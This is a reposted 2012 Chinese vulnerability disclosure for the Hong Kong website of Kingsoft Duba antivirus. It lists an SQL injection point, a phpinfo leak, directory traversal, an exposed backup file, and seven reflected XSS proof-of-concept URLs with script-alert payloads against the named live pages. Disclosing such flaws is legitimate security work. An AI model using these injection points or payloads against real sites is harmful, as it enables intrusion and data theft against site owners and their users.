金山毒霸官网严重高危安全漏洞 SQL注入+xss+重要信息泄露等等

2012-8-15 10:51:36 来源:网络转载 浏览:268
金山毒霸最新漏洞公开:金山毒霸官网严重高危安全漏洞(SQL注入、、XSS攻击、文件目录遍历、网站页面备份文件游览)。

简要描述:
金山毒霸香港官网严重高危安全漏洞(SQL注入、敏感信息泄漏、XSS攻击、文件目录遍历、网站页面备份文件游览)...
详细说明:金山毒霸香港官网严重高危安全漏洞(SQL注入、敏感信息泄漏、XSS攻击、文件目录遍历、网站页面备份文件游览)...

漏洞证明:
1、SQL注入漏洞:
漏洞点:http://www.duba.com.hk:80/support_3_view.php?id=5

金山毒霸官网多个高危安全漏洞

【图一】

金山毒霸官网多个高危安全漏洞

【图二】

金山毒霸官网多个高危安全漏洞

【图三】

金山毒霸官网多个高危安全漏洞

【图四】

金山毒霸官网多个高危安全漏洞

【图五】

2、一些敏感后台URL:

金山毒霸官网多个高危安全漏洞

3、敏感信息泄漏:duba.hk.phpinfo.htm

金山毒霸官网多个高危安全漏洞

【图一】

金山毒霸官网多个高危安全漏洞

【图二】

金山毒霸官网多个高危安全漏洞

【图三】

4、文件目录遍历:

金山毒霸官网多个高危安全漏洞

5、XSS跨站脚本攻击:
http://www.duba.com.hk:80/purchase_content.php?type=B"><script>alert(42873);</sCript>
http://www.duba.com.hk:80/reg_ok.php?act=add&abc=17437&tel=88888&email=hacker@hacker.org&re_email=hacker@hacker.org&sale_company=nosec&buy_date=2012-06-30&user_type=0&soft_level=0&submit_button=88888&snid=12345<script>alert(42873)</script>
http://www.duba.com.hk:80/reg_ok.php?act=add&abc=17437&snid=12345&tel=88888&re_email=hacker@hacker.org&sale_company=nosec&buy_date=2012-06-30&user_type=0&soft_level=0&submit_button=88888&email=hacker@hacker.org<script>alert(42873)</script>
http://www.duba.com.hk:80/reg_ok.php?act=add&abc=17437&snid=12345&tel=88888&email=hacker@hacker.org&re_email=hacker@hacker.org&buy_date=2012-06-30&user_type=0&soft_level=0&submit_button=88888&sale_company=nosec<script>alert(42873)</script>
http://www.duba.com.hk:80/faq.php?cid=1"><script>alert(42873);</sCript>
http://www.duba.com.hk:80/support_1.php?cid=1"><script>alert(42873);</sCript>
http://www.duba.com.hk:80/support_3_view.php?id=5<script>alert(42873);</sCript>

6、网站页面文件备份游览:
http://www.duba.com.hk:80/index.php.bak

修复方案:
你们懂的啦。

(0)
(0)